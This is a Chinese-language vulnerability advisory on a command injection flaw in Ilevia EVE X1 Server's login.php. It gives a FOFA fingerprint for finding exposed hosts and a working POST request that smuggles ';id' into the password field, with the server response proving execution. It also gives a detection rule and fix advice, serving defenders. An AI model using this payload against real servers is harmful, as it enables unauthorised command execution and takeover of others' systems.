

Ilevia EVE X1 Server login.php 存在远程命令执行漏洞

Ilevia EVE X1 Server login.php 存在远程命令执行漏洞，攻击者可执行任意命令导致服务器被控。

影响版本

Ilevia

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: icon_hash="392278119"

POC/EXP:

POST /ajax/php/login.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21

Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

userid=admin&passwd=;id

Request

1 POST /ajax/php/login.php HTTP/1.1

2 Host : 127.0.0.1

3 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21

4 Accept-Encoding: gzip, deflate

5 Accept: */*

6 Connection: keep-alive

7 Content-Type: application/x-www-form-urlencoded

8

9 userid=admin&passwd=;id

86bytes / 873ms

1 HTTP/1.1 200 OK

2 Date: Wed, 20 Aug 2025 07:05:08 GMT

3 Server: Apache/2.4.38 (Debian)

4 Vary: Accept-Encoding

5 Keep-Alive: timeout=5, max=100

6 Connection: Keep-Alive

7 Content-Type: text/html; charset=UTF-8

8 Content-Length: 87

9

10 uid=33(www-data):gid=33(www-data):groups=33(www-data) ("err":1,"msg":"Wrong password")

11

12

sonrt规则:

```
alert http any any -> $HOME_NET any (  
  msg:"Ilevia EVE X1 Server - Command Injection via login.php";  
  flow:to_server,established;  
  http.method; content:"POST";  
  http.uri; content:"/ajax/php/login.php";  
  http.header; content:"Content-Type: application/x-www-form-urlencoded";  
  http.request_body; content:"passwd=";  
  pcre:"/passwd=[^&]*(;|\\|'|`|\\x0a|\\x0d)\\s*id/i";  
  metadata:  
    cve none,  
    service http,  
    affected_product "Ilevia EVE X1 Server",  
    vulnerability_type "Command Injection",  
    attack_target "system_shell",  
    severity "critical";  
  reference:url,www.example.com/command-injection-protection;  
  classtype:web-application-attack;  
  sid:1000459;  
  rev:1;  
  priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。